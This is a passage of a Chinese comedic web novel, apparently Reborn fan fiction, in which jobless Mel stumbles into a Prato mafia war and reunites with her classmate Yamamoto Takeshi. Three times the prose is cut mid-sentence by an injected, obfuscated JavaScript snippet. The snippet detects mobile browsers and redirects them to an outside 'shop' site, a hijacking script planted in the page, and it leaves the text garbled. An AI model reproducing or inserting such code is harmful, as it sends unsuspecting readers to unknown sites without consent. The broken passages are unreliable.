《凭什么老同学比我先开上了路虎》 1. 这个社会怎么那么现实 梅尔,二十四岁,在日本某公司驻意大利分部从事文书工作,此人业务烂,能力差,薪水高,能够得到这份工作,全凭她有一个好叔叔。 成也叔叔,败也叔叔。叔叔不幸殉职之后,梅尔的后台轰然倒塌。美好的摸鱼日子一去不复返,即将到来的是肉眼可见的职场倾轧、血肉横飞——比这来得更早的是辞退通知书。 “我们这样重要的机构,怎么会有这样的蛀虫?!辞退,必须辞退!” 顶替叔叔位置的领导新官上任三把火,把梅尔这根小草给烧成了灰。 梅尔就这样被辞退了,好消息在网友的帮助下据理力争拿到了N+1,坏消息收拾铺盖她马上就要滚蛋,摸了两年鱼工位上什么重要东西都没有,这个人双手空空地离开了办公室,临走之前把自己桌子上囤的零食分给了同事,得到了好人卡*N。 呜呜呜呜呜这个世界真是太残酷了,梅尔离开了职场,放纵一个月时间,然后在某个凉爽的清晨垂死病中惊坐起,发觉自己的存款快花完了。 网友:【你的N+1呢?】 邪王真眼:【龙王的事情你少管。】 龙落平阳被犬欺,为了不被饿死,梅尔不得不振作起来找新工作。 狠狠投递简历! 狠狠和HR沟通! 狠狠被拒绝! 继续狠狠投递简历! 继续狠狠和HR沟通! 继续狠狠被拒绝! …… 梅尔狠狠地骂:“我知道了,一定是有人在暗中阻挠我,想要消磨我的意志,打击我的动力。呵哼哼哼哼……可是我啊,却是少年番里的废材主角,所谓三十年河东三十年河西,等我飞黄腾达,我就把你们这些小公司天凉王破!” 呜呜呜可是可是这个社会也太现实了,我又真的需要一份工作。梅尔一边狠狠地骂,一边狠狠地改简历,一边狠狠地骚扰网友。 网友大概被骚扰得烦了,当天发出邀请:【如果是为了钱的话,不如和我结婚哦~我的钱都可以给小梅尔花~】 邪王真眼:【谢邀,不走赘婿流。】 我龙王啊,就是要堂堂正正地打脸所有人!扮猪吃老虎?老套!如此想着,梅尔如痴如醉地在简历技能上填写了“精通黑客技术、杀人业务、情报管理、刑讯逼供”。 网友看完了她的简历,评价:【小梅尔的中二病还是没有好呢。】 邪王真眼:【彼此彼此,也就和某个叫着喊着要毁灭八兆亿个世界的家伙差不多啦。】 病情相近才能成为网友,能在茫茫人海中和梅尔搭上脑电波,网友能是什么正常人。在无数个夜晚里,梅尔与对方长谈,都有高山流水遇知音的感触。 网友:【可以把简历投到密鲁菲奥雷公司试试。】 邪王真眼:【好的。】 转头就把密鲁菲奥雷公司划掉了,网络上就算了,现实里梅尔绝不允许有人比自己更加酷炫,她一键点击把简历群发。 很快收到如潮好评(三O杀版)。 HR·A:【?你是疯了吧。】 HR·B:【现在疯子也能上网了吗,这种技能也能乱写上去?】 HR·C:【把这种简历放进来明天老板就会开除我。】 什么话什么话!梅尔额头青筋条条绽开,敲打键盘,与HR大战三百回合。打完这个打那个,打完那个打这个,三天过去了,梅尔被HR集体拉黑,与此同时,存款消耗殆尽,没有了金钱,她的美好品质和道德也一同失去了。 最后一个HR,梅尔决定服从一下社会,不和对方吵架了。老天爷,算你厉害!她狠狠地想,然后点开了对话框。 对面的HR发来一个地址。 【……】 【以上是面试地点以及面试内容。通过面试,就能加入我们。】 【彭格列期待您的加入。】 · 六月中旬,位于意大利中部托斯卡纳大区的普拉托迎来了一年中最好的阳光。 气温最高可以达到四十度,工业区的街道大多由沥青和小碎石构成,被太阳一晒,更是热烘烘烫脚。 午后三四点钟,路上空空荡荡。 少有几个出现在街道的人,来来回回地走着,都是相同的几张面孔。有老板识趣一些的,连生意都不做了,匆匆关上店铺,将大门反锁。 私底下,他们对家中的妻儿说:“这两天普拉托不太平,你们不要去外面闲逛。” 妻子道:“我看有人还在做生意,我们不做,岂不是亏了?” “那些都是外地人,”老板嗤之以鼻,“有的是这两年才搬来,不明白有命赚钱没命花的道理。” 顿了顿,老板接着说:“不过,我看或许今天,最迟明天,事情就解决了。” 要问凭什么?就凭他在普拉托经营店铺那么多年,却能在黑/帮争斗风雨中不动如山。 老板将临街的窗子关上,信心十足。 作为欧洲第一纺织中心,普拉托出口额年近二十亿欧元,历来是被趋之若鹜的肥肉。百年间,这座城市里数个黑/手/党家族林立,彼此撕咬厮杀,抢夺地盘,争斗不休,犯下杀业恶业无数。 如此情况在十年前,彭格列新任首领上位之后有所缓解。这位传闻中来自于远东的教父,任谁见过后都认为过分生涩、软弱的青年,却在里世界飞快展现了自己的雷霆手腕。 普拉托的毒品分销产业产业链被一举击穿,过去数年,任由里世界其他人如何抗议,这位教父都轻易镇压下去,时间久了之后,甚至有人讽刺:“先生怕不是想要拉着所有人从良。” 对此,教父先生用温和而不容置否的语气答复:“我还给你们留了足够的产业,不是吗?” 是的,仍然存在着一定的灰色产业链,哪怕是教父先生,也必须对它们睁一只眼闭一只眼。他毕竟是里世界的教父,而不是白道上的警监。 可是,已经尝过了肥肉,又怎么甘愿就这样收手,只去吃别人给自己固定好的份额? 两年前,普拉托的三大家族,卡特拉、莫威尔和利特拉布亚联手染指了教父划下的禁区。仗着对普拉托掌控多年的优势,他们将毒品生意做得风生水起,滴水不漏,有老普拉托人知道此事,却也只是沉默着不敢出头。 半个月前,卡特拉家族主管的工厂发生了劳工逃跑事件。卡特拉的人虽然及时抓回了大部分劳工,却还是漏掉了关键的一个。 这个人名为特姆维奇·李,曾参与到毒品分销的工作中,因为犯下错误而被投入了劳工区域。他几次尝试逃跑,却都被抓回折磨,因此对三大家族恨之入骨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550835|204331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 这一次,趁着大规模的骚乱,他逃出普拉托,一路向南,最终进入了西西里,被彭格列的成员发现时男人已奄奄一息,怀着极致的恨意,他说出了三大家族在普拉托的所作所为。 彭格列当即派出人手调查。 一个星期后,此事得到情报人员的确认。 雨部门的成员被派出前往普拉托,与此同时,三大家族的人进入警戒阶段。 · 下午三点四十五分,梅尔抵达了约定的城市。她被太阳晒得发蔫,但不知为何,周围的店铺都紧闭着大门,让她想买瓶水都没办法。 好不容易见到了一家店开着,她见到了救命稻草一样冲进去,发现这正好是家冰淇凌店,便要了个双球冰淇凌。 “挖实一点,大一点,圆一点,”老板是个亚洲人,挖冰淇凌的动作慢吞吞的,梅尔扒在玻璃柜台上眼巴巴看着,一边指挥一边问他,“老板,这街上怎么没什么人?” 老板也摸不着头脑,他是半年前搬到这里来开店,和周围店的老板都不熟悉,因此猜测:“可能是他们意大利人的传统吧?” 梅尔了然点了点头:“意大利人就是动不动放假。”这也是她当初想来这里的原因。 梅尔黑眼睛黑头发,毫无疑问也是亚洲人。老板他乡遇同乡,又兼今天没什么客人,便慷慨地把两个冰淇淋球都给她挖得又大又圆。 梅尔举着冰淇淋走出店门,晴朗的风刮了她一脸,冰淇凌也被吹得融化!她忙不迭啃了两口,牙齿被冻得一阵冰,她扭曲五官,从口袋里摸出手机,确认了一遍地址和任务。 地址……快到了。 任务是,当诱饵。 · “找几个诱饵,制造骚乱,”两天前,彭格列雨守如此吩咐他的下属,“用什么都不知道的普通人去行动,扰乱对方的视线。另外,尽量保证他们的安全。” 三大家族所作所为已触碰了彭格列的逆鳞,不管是为阻止此事继续扩大,还是维护彭格列的盛望威严,他们都必须被取缔。 彭格列的雨部门,和岚部门一齐负责主力作战。因普拉托之事牵涉重大,雨之守护者山本武也亲自来到了这座城市。 这位据说出身远东小镇的青年早在数年的里世界生涯中练就游刃有余的本事,抵达普拉托后,将任务有条不紊地吩咐下去,他轻松道:“去吧。我好久没来普拉托,也该好好看看这座城市。” 下属领命离去,他站起来伸了懒腰,懒洋洋走到落地窗边。 远处,普拉托的大型纺织厂园区匍匐在大地上,暗沉如休憩的巨兽;近处,晴朗的阳光洒遍大地,干燥的空气将角落里的草叶都晒得懒洋洋。街道上没什么人,聪明的生物都将自己躲藏起来,直到风雨过去才敢探出头来。 山本武已经很久没有休假了。黑/手/党本来就没什么休假的空间。好在手下训练有素,他的布置又足够,他到场坐镇,倒也不必亲自出手。 普拉托……上一次来还是三年前,这里的纺织业负有盛名,酒水虽次一筹,却也不错。 去喝一杯酒好了。 如此想着,青年转身离开。 “咔哒”声,门被关上了。 在他转身后不久,落地窗所俯瞰的街道上,一个举着冰淇凌的身影奔跑过去。 2. 汝!吾过往の病友 完蛋完蛋,要迟到了。 手机看到一半,自动没电关机了。好在梅尔还记得上面的地址,想了想回到冰淇凌店找老板问路,老板看了说那地方离这里起码有半个小时的脚程。 梅尔:“坐车的话要多久?” 老板:“意大利人放假了。” 梅尔:“……”得,明白了。 梅尔只能双腿跑赢四轮,在老板帮忙指出的路上狂奔。跑着跑着她庆幸:幸好遇到了老板,不然她就真的要迷路了,因为路上居然一家开着的店都没有! 人影更是一个也无,普拉托好像暂时变成了空城。要不是午后的阳光足够热烈,简直让人怀疑这里变成了鬼的据地,生人免入。 梅尔紧赶慢赶,还是迟到了。 冰淇凌早就吃完了,冰凉甜腻一时爽,吃完就变成糖黏在嗓子上,呱啦呱啦划嗓子。梅尔喉咙冒烟,又跑得累,她扶着膝盖喘气。 几道目光自她出现在街头就落在了她身上。似乎判定了她战斗力不如一只鸡,不久,有人走了过来,问她是做什么的。 “我是来应聘面试的。” 梅尔抬起脸,一张亚洲人的面孔让男子更加警惕:“什么面试?我们这里不招人。快点走,这里是私人领域!不许擅自闯入!” 梅尔这才发现自己不知不觉闯进了一片颜色统一的建筑群。 梅尔诚恳地说:“如果我非要闯…不是不是,误会啊!!!我就说说而已,你还来真的啊?!” 梅尔话才说到一半,男子耳麦里已收到信息,“亚洲人,宁可错杀不可放过,拿下她!” 他果断掏出了枪。 梅尔在他手按上枪柄时就察觉了不对,意大利民风彪悍,但一言不合就掏枪也还是太过分了吧?!梅尔大叫了起来,几道身影也不再掩饰,缓缓向她逼近,面前男子举高手里的枪。 “砰砰砰砰砰!” 一连串激烈的子弹迸射声。 梅尔压低脑袋一个翻滚,动作行云流水,成功闪避! 这里必须要感谢梅尔在美好的国中时期遇见了一群和她志同道合的病友。病友们的中二病丝毫不逊色于梅尔,黑手/党游戏的细节更是真实得更让里世界人士直呼内行,梅尔练就了强大的躲避子弹能力。 “呵呵呵呵……呵呵呵呵!”邪眼龙王半跪在地,一手按地,一手捂住自己的左眼,哼笑起来,“原来如此,是‘面试工作却意外卷入了大逃杀’副本啊!有趣,实在是有趣!这才是符合我人设的日常,不是吗?” 接下来,这个人一边大喊着“有趣”,一路狼狈地逃窜起来。 “果然有问题!抓住她!” “一定是彭格列的人,抓住她当人质!” “……” 身后追逐的人数量像蟑螂一样飞快翻倍了。 随着道路奔跑到尽头,眼前出现了高大的墙壁,两边还有新的人涌出来。子弹横飞。 梅尔被逼入绝境——这种事情根本不可能好不好。 站在你面前的可是本文唯一的主角! 把墙壁当成跨栏一样跨过去,使出来吧!在国中时期为逃避风纪委员捕捉迟到者而练出来的翻墙技术!我翻,我翻,我翻! 梅尔迅速翻过三面墙,所谓生死之际,邪眼龙王的潜能才被激发,她站在墙上意气风发地大笑:“不过如此啊,不过如此!” “嗖!” 一发子弹射入她脚下,好消息没对她造成伤害,坏消息墙壁的砖块被打得松动,梅尔脚下不稳,一个打滑,猛然倒栽葱。 这个世界,想要迫害梅尔大人! 眼看着地面离自己的脸越来越近,空中毫无借力点,梅尔恨得咬牙切齿,她美好的脸难道就要毁掉了吗?呜呜呜不要啊,她是邪王真眼,不是斜脸真眼! 不,还是有救的,梅尔坚定了眼神,看我的鳄鱼翻滚! “……” 没翻滚成功。 但也没摔到地上。 一双手臂从旁伸出,将从天而降的女人稳稳接住。 “咦?谁还会在这个时候翻墙?” 带着疑惑的语气,青年的声音低沉悦耳,隐隐能嗅到一丝若有若无的酒味。柑橘配的酒,气味里有清淡的涩意。 “……”梅尔觉得这个声音有点耳熟,她被抱在对方怀里,艰难地按着他的手臂,抬眼去看。 这个突然出现的男人身量高大,目测至少超过了一米八五,显然他常年锻炼,被衬衫包裹的手臂显露出流畅的肌肉线条,梅尔从四五米高的墙上掉下来,他随手一接,居然将人接得稳稳当当。 午后的阳光太亮了,梅尔逆着光抬头,青年的面庞轮廓被光晕勾勒,他的脸一时间竟然看不清。 好浪漫,好唯美。 梅尔国中时期常常幻想这样的场景,想得如痴如醉。 ——但在她的幻想里,接住从天而降美少女的人是她·浪漫骑士·梅尔! 而不是她被别人接住! 简直颜面尽失,梅尔翻腾手臂:“呔,快把我放下来!” “哈哈哈,抱歉啦抱歉,”男人绅士地松开了手,看着她跳下来站直,然后梅尔抬起头来,对上他的眼睛—— 这时候,他们才第一次真正看清了彼此的脸。 “……小姐,”男人看了她的脸两秒,那始终带着浅淡笑意的神情骤然变化,“冒昧求问,你是不是有一个同胞姐妹?” 梅尔因为声音熟悉的缘故,也看了他两秒钟。 看完后得出结论:不认识。 面前的男人毫无疑问是亚裔,他有着黑色头发与富有亚洲人特征的面孔,连脸上的笑都符合亚洲人的中庸之道,温和而谦逊。然而,梅尔确认自己没有见过他:因为哪怕这个人微微带着笑意,也给人以凌厉之感,他看人的目光是随和的,仿佛绵细的雨丝洒落,可是雨中有人唱着哀歌。 不认识,那就没兴趣了。哪怕对方刚刚接住了自己,梅尔也没有感恩之心——感恩什么感恩!又不是注定完蛋了,她还没使出鳄鱼翻滚呢!而且一下子抱她那不是让她颜面尽失了吗!重申一遍她不允许有人的设定比自己更酷炫! 梅尔冷酷地说:“没有,我是独生女。” 话音刚落,道路的尽头就有人追了过来。这群人没有翻墙,凭着对地形的熟悉直接追上来了。 “在那里!开枪,开枪!不留活口也没事!” “抓住她!” 若非射程不够,梅尔已被射成蜂窝煤。但算算距离,离她变成蜂窝煤也不差多长时间了。 敌人追来的那条路被堵死了,偏偏前面又没有墙再给梅尔翻,她左右看看,心生遛狗之计,不如翻之前的墙回去?说干就干,她徒手攀墙三两下爬到顶点,片刻后被子弹逼得灰头土脸地跳了回来。 我去,不要脸的,还在埋伏! 邪王真眼也是肉体凡胎,被子弹射中也是会死的。梅尔只能另寻出路,正冥思苦想之间,一旁凝视着他不作声的男人冷不丁伸手,拉住了她的手腕。 “你是要躲避那些人,对不对?跟我来。” 梅尔被他带着,身体下意识跟着他的步子跑了起来。 跑了两步,她猛然想到什么,缓缓睁大眼睛,看向男人。 ——原来如此!老天还是眷顾她的,这不,引导NPC上线了! · 男人带着梅尔钻进了一家酒馆。 这里居然还开着门。 酒馆的布置复古,棕红 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550836|204331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色夹杂着明黄和深蓝的配色让人想到西部牛仔,绿植隔开了每张桌子之间的距离,零星几个客人坐在酒馆的阴影里,正低声聊着些什么。 男人应该是去而复返,柜台后的酒保看到他面露讶然,然后笑着问他要不要再喝一杯。 “不用了,我想我已经够醉了,”他笑着说,梅尔想起刚才从他身上嗅到的一丝酒气,此时随着他们的奔跑已消失无踪了。 男人顺手将一张纸币拍在柜台上,把梅尔带到了一个卡座里,两人面对面坐下。 也不知道他是怎么找的路,身后的追兵居然真的被他们甩开了。邪眼龙王摆脱了生死危机,此时越看引导NPC越顺眼,决定狠狠地收服他为座下小弟! “咳咳,”她清了清嗓子,问,“先生,你叫什么名字?” 引导NPC微笑地看着她,然后说:“我叫山本武。” 他们用意大利语交流,然而,这个名字却是日语。两种不同的语言在同一个句子里交错,叫人一时间分不清音节该被嵌进哪一者。 梅尔没有听清,就迫不及待地进入了下一个问题:“好的山本武先生,你愿不愿意——”成为我的座下小弟? 她飞快地念完了这个名字,流利得不可思议。她是又说完了半句话才意识到这一点,然后,她诡异地停住了。 …… 诶。 “山本武,”她重复了一遍。 “Yamamoto Takeshi?” 几个有些拗口的音节从她嘴里流利地跳了出来。 “Yamamoto”,梅尔知道,这是日本最常见的姓氏之一;后面的“Takeshi”同样是日本常用的名字,长辈爱用“武”之类的字来给孩子取名,以此寄托美好的祝愿。 常见的姓氏和名字,组合起来似乎也是常见的;不常见而巧合的是,梅尔认识一个叫做山本武的人。 这这这…… 梅尔眯起眼睛,发动邪眼扫描眼前之人! 男人似乎也意识到了什么,放松身体,张开双臂,倚在靠背上,笑着任由她打量。半晌,他问她:“小姐的名字是?” “梅尔,”梅尔答完,突然一拍桌子,对暗号:“说!藤本的头顶上有几根头发!” 山本武略微思考,想起来藤本是他们国中时期的班主任,哈哈,十年前,那可真是一段遥远的记忆啊,“没记错的话他是个秃头,”他耸了耸肩,然后爽朗地笑了起来,“那次我们恶作剧在黑板上画了他的肖像,他进来了看到却没有认出来,而是教训我们不许在黑板上乱涂乱画,和尚也不许画。” 梅尔被他带着想起来那次恶作剧,也笑了起来。 那次他们的恶作剧差点没成功,梅尔哪能容忍?!她举手被喊起来后诚恳地问老师你不觉得黑板上的人很像你吗——藤本被气了个仰倒,把他们四个都赶出门外罚站,正合我意啊正合我意,他们就在外面偷偷摸摸打扑克。 结果被巡逻的风纪委员长看到,以群聚的罪名将他们咬杀…… 梅尔想到这里,笑不出来了,她冷冷地打了个寒战。 山本武看着她脸上的神色,知道他们是想到一块儿去了。男人眼中的笑意加深了:“所以,梅尔,现在能确认是我了吗?” 梅尔郑重地宣布:“确认了。” 并非同名同姓,面前之人就是山本武!他正是梅尔的国中同学之一,也是梅尔(国中时期)关系深厚的病友。不过,两人已经很久没见面了,算下来可能有七八年了吧。 梅尔不解地问:“山本,你怎么会在这里?” 还有一件事也让她很是迷惑:“你变了好多。下巴上的伤疤是怎么弄上去的?莫非是削水果的时候发生了意外吗?” 3. 当然是为了押韵了 确认了彼此的身份之后,他乡遇故交的情况让两人都松弛下来。山本武自然地坐到了梅尔身边,此前身上散发出若有若无的疏离感仿佛只是梅尔的错觉,他爽朗地笑了起来:“嗯……伤疤确实是个意外,和削水果时失手差不多。” 其实是在一起事件里留下的印记,彼时山本武十六岁,初来乍到掌管雨守部门,引来许多非议与不满。变故发生时,跟在他身边的手下全都露出了真面目悍然反叛,要将他置之死地。 “哈哈哈哈哈……真是了不起的险境啊。不过,我不能死在这里,还有很多事情等着我去做呢。” “所以,抱歉啦!” 抱歉啦,你们想要我死,我却还不能死。 细密的雨水笼罩战场,暗沉的天穹之下,少年挥剑若天末流星,风声与血飒飒扬扬。 十六岁,山本武凭着一把剑杀死了所有叛徒,得到了一道落在下颌处永久的伤疤和鹊起的盛名。 算一算,那也已经是八年前的事了。 被他提起来时,轻描淡写的,和削水果时不小心失手,也没什么两样。 “至于说到我为什么在这里……我正在休假中,所以来了这座城市。” 山本武交叠十指,反问道:“梅尔的问题我回答完了,接下来到我问了。梅尔又是为什么会在这里呢?明明我们有认真地寻找你的踪迹哦……可是梅尔却像是人间蒸发了一样,让我们很担心。所以,梅尔后来去了哪里?” 梅尔不知道对方话语中的“认真”代表了多么大的搜寻力度,她不好意思地摸摸鼻尖,心想普通人想要找到我邪王真眼的踪迹是不可能的……毕竟异能特务科又不是吃干饭的。 哈哈,当然那是之前的事情了。 现在她已经被开除了。 唉,提到失业,哪怕是镇守阴阳两界之人也感到一丝悲切。梅尔无精打采:“别提了,我来这里找新工作……嗯,至于说我毕业之后去了哪里。” 她略作思考,理直气壮答曰:“我去拯救世界了。” 山本武哑然失笑:“梅尔,你真是一点都没有变呢。” 看出梅尔不想在这方面细谈,他另起了一个话题:“不,还是有变化的。梅尔的眼睛为什么变成了黑色的?” “刚才见到你的时候我都不敢认,所以才会问你有没有同胞姐妹。没想到就是你呢,梅尔。” “到底发生了什么?” 他认真地问。 梅尔神神秘秘地向他招了招手。 “……” 他顿了顿,才慢慢动了起来,如同国中时期,上课时趁着老师转过去黑板上写字,少年用手肘撑着桌子,倾斜身子向少女靠近,将耳朵递到她的嘴边。 梅尔压低声音,人为制造神秘感:“还记得我真实的身份吗?” “……邪王,真眼?” 山本武迟疑地说出了这个羞耻度爆表的称号。 “没错!就是我邪王真眼!” 梅尔兴奋地一挥手:“实不相瞒,我的真眼已经修炼到了极致,所以瞳色才发生了变化。哼哼哼哼哈哈……现在站在你面前的就是真正的我哒!” “真的?”山本看起来将信将疑。 梅尔斩钉截铁:“真的!” 当然是真的了,不然,难道要让她承认,国中时期她致力于每天戴绿色美瞳,以此渲染自己的非凡身世吗?顺便一提当时梅尔偷偷羡慕嫉妒恨某个人,因为那个家伙有一双如假包换的碧绿色眸子。 至于后来梅尔为什么不戴美瞳了,绝不是因为她中二病好了,而是因为她大彻大悟:龙王的力量还用得着瞳色来凸显吗?哼哼哼哼……哪怕是普通的黑发黑瞳,她也能翻手为云,覆手为雨!既然如此就不用折磨自己的眼睛了。 十年前山本武就很捧梅尔的场,十年过去了也还是一样。 “啊——那好吧,梅尔都那么说了,我只能相信梅尔了,”他带着笑说。 他马上抛出了新的问题:“那,刚才在追梅尔的人是?” “那还用说吗,”梅尔看他仿佛在看一块不开窍的朽木,“当然是觊觎我神明的力量的反派了。” 不知为什么,她总感觉山本武在憋笑:“原来是这样,那我刚才是帮到了梅尔大人?那真是我的荣幸。” 梅尔谦虚:“你我相识多年,用不着那么客气,你还是喊我的名字就行了。” 山本武接着道:“那之后梅尔要去做什么呢?我可以跟着你吗?” “你不是来休假的吗,跟着我做什么?” “可这座城市完全没有休假的氛围,让我很苦恼,我想,还不如跟着梅尔一起走呢。” 梅尔深以为然:“你说得对,这个时候根本不适合休假,要休息你是来错地方了。不过!” 她一拍桌子,说出了自己最初想说的那句话:“你愿不愿意加入我的队伍,去反杀那群敢追着我的混蛋!山本下士,做选择吧。” 山本武望着她意气风发、神采飞扬的脸,半晌手指抬起,松松搭在太阳穴,行了个礼,他笑着说:“那还用说吗?当然是跟着梅尔大人的脚步了。” · 下午六点钟,如火球般的太阳沉入地平线,深沉的夜色将大地笼罩。 作为潜藏在人类世界中的传奇人物,梅尔拥有无限真魔、命卜巫女、王之神翼等多重身份。平时她低调地生活着,仿佛与普通人没有差别,可如果有人触碰到她的逆鳞,她,就会让对方知道什么叫做大恐怖! “没错就是这里,你在这帮我守着,我翻墙进去,有人来了就用我们以前的暗号,实在不行你就先跑不用管我。” 逃窜期间,梅尔没忘记观察地形。趁着那群追杀她的人好像还没有回来,她领着座下小弟到一个角落里循循善诱:“拯救世界的任务就落到你和我的肩膀上了,你要加油干,知道吗?” 山本武没想到梅尔的目标是三大家族名下的纺织区。来的路上,他委婉地问梅尔是怎么和这群人对上的。 梅尔:“说来话长,长话短说,我只是想要找一份工作却被卷入了阴谋里,可能因为我是主角吧,总之,我不得不挺身而出……” 山本武:明白了,“诱饵”。 “使用诱饵牵制三大家族的注意力”是他计划中最微小的一环,其中起到的作用微乎其微,但山本武还是启动了它,它毕竟是更便捷一些的。 至于诱饵的生命安全,又从何处找到这些人,这并不在彭格列雨之守护者的关心范畴之内。在雨守的位置上坐久了之后,山本武学会了忽略无关紧要的细节。 梅尔却就是从他忽略的细节里跳了出来。 梅尔吩咐完山本武,自顾自翻过了墙头,落进了建筑森森林立的厂区。她还没找到具体的方向,便感觉一阵风落下,青年同样翻过高墙,落到了她身边。 梅尔瞪着他:“……” 她压低声音:“不是让你在外面等吗?” 山本武耸肩:“可是,看着梅尔的背影消失在我的眼前,我会害怕再也见不到你……哈哈哈,身体情不自禁就动了起来。” 梅尔:你以为你是名O探O南里的小兰吗。说什么经典台词呢! 可是人都跳进来了,总不能再把他赶出去。梅尔很有责任感地让他跟在自己后面别乱走,接着进入潜行阶段。 两人走了一段,山本忍不住笑的声音从后面传了过来:“我们一定要像小偷一样走路吗?” 梅尔转过身,狐疑地盯着他:“你的意思是我看起来鬼鬼祟祟?” “没有没有,不敢不敢,”他举双手投降,“我只是觉得你这样走路会有点累。” 梅尔瞪了他一眼,倒是恢复了正常的走路姿势。 可也许是之前的潜行姿势真的有点用——才恢复正常直立人行动不久,他们走过一个拐角,就被一队巡逻的人发现了:“你们是什么人?!” 不等作答,对方看清他们的模样,脸色大变:“亚洲人?!抓住他们!” 敌人,如同蟑螂一般繁殖! 好熟悉的场景,梅尔拉着山本武,一个急刹车,把脑袋缩了回去,接着就是干净利落的逃跑。 不跑难道还留下来挨枪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17550837|204331||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子儿啊?梅尔可不想急性铁中毒! “这群人怎么回事?!”她一边跑一边不理解,“亚洲人怎么了,亚洲人也是人,种族歧视吗?!是种族歧视吧!” 山本武:“谁知道,可能真的是种族歧视吧哈哈哈。” 好吧,其实他知道。原因大概出在他和沢田纲吉身上。 须知,彭格列首领的手段让里世界大小家族苦不堪言,而他的雨之守护者山本武更是擅长端着一张笑脸不近人情。两人偏偏又都是亚裔,来到意大利的第一年,山本武偶尔会听到有人议论,“莫非当黑/手/党的亚裔都会加倍的心狠手辣”“亚洲人真是阴险”——此类议论声在他十七岁时销声匿迹,因为再没有人敢在他面前说这样的话了。 可暗地里,类似的讨论才不会销声匿迹,相反只会更加多。就比如说此刻,心知肚明自己即将被彭格列针对的三大家族,神经紧绷地对每一个出现在他们地盘里的亚洲人都穷追猛打。 枪林弹雨,梅尔和山本武在不同的建筑之间穿梭。 因他们的闯入被发现,入夜后深沉的建筑群次第亮起了灯。高塔上的大照明灯开始晃动,追捕着大地上人影的行踪,在奔跑中,两人冲到了一栋明显处于中心、建地面积最大的建筑前,却见大门被锁住了,来不及向别处跑去,他们迅速顺着建筑外楼梯往上。 楼梯一节两节三节……向上旋转,简单重复的动作,心跳咚咚地响。梅尔攀升向上,后面的追兵似乎顾忌着什么,不敢胡乱开枪,只是气急败坏地追赶着。 他们叫嚣:“看你们能跑到哪里去!” 看来建筑里面有不得了的东西了?哈哈,那我非得去看看不可了!梅尔振发精神。 逃窜的动作里,她察觉到身旁的青年拿出手机说了什么。 跑得太快,耳边的风声太大,梅尔听不清,她眯着眼问:“你是在说遗言吗?” “是在搬救兵啦,”山本武一步跨过三四级台阶,大声回应她,“不过,说遗言的话也不错,和梅尔死在一起我也很乐意哦。” “拜托!我不乐意——” 梅尔同样大声地喊。 下一秒,楼梯就到了尽头,他们几步跳过最后一节,稍稍辨认方向后,奔过空旷的天台,在追兵赶上来射击之前,默契地翻身纵跃,两人从天台的同一个地方跳下去—— 砰砰砰砰砰砰砰! 追赶而来的子弹在天台的边缘擦出稍纵即逝的火花。 他们没有被击中,而是落在了半空。 坠落的一瞬间,向下的失重感让人的大脑嗡!一声响,风声在耳边忽哨着拉长。 仿佛有刹那的定格。 “……” 男人凝视着和他一齐向下坠落的人。 凌乱的发丝在空中浮动,如同海中漂游细密的藻类,浅淡的月光和苍白的人造光在她脸上交错,勾勒出浓淡的光影,她脸上有睥睨可爱的神气,眼中放出璀璨的光,若指明之星。 山本武凝视她片刻,蓦然感叹:“嘛,梅尔,你果然还是一点儿都没变。” 两人在空中坠落须臾,同时抓住了五楼窗户的雨檐,“三、二、一!”梅尔大声喊着,荡起身子,在倒数结束的时候和山本武同时发力,两人一同踹飞了玻璃,顺势滚进了室内。 玻璃洒落一地,晶莹放光。 “我志向高远。又怎么会被如此庸俗的剧情打倒!” 梅尔终于有时间说完剩下的话,她宣布,“放心吧山本,逃出去之后我会请你喝咖啡。” 山本武的关注点是:“为什么是‘山本’?不应该是‘阿武’吗?” 梅尔:“当然是因为‘Yamamoto’的音节放在这个句子里比较押韵了。山本啊我们主角就是这样的,你不懂,哪怕一句普通的台词我们也要经过深思熟虑。” 她一边说着炫酷的道理,一边垂下脑袋拨弄头发,把可能夹杂的玻璃碎屑甩出去。相比之下,山本武就幸运得多,他短头发,晃两下脑袋就行了。 来不及喘气,脚步声从外部接近了,两人匆匆钻进了黑暗里。 4. 叮咚!发布任务 “我们得先找到电闸,”黑暗里,山本的声音轻得像冷冰冰的雾,“不然他们开了灯,我们就有大麻烦了。” 梅尔深以为然:“我们得下一楼去。” 为配合生产需要,同时避免安全事故发生,大型厂房的配电室一般会被设计在建筑的一端,同时处于整层楼的底部,同时,每一层楼里也会分配零散的电闸,以便捷生产的速率。 进入了厂房内部,不用想,外面绝对已被围得水泄不通。两人只能在厂房内周旋,而如果灯光大亮,他们将无所遁形。 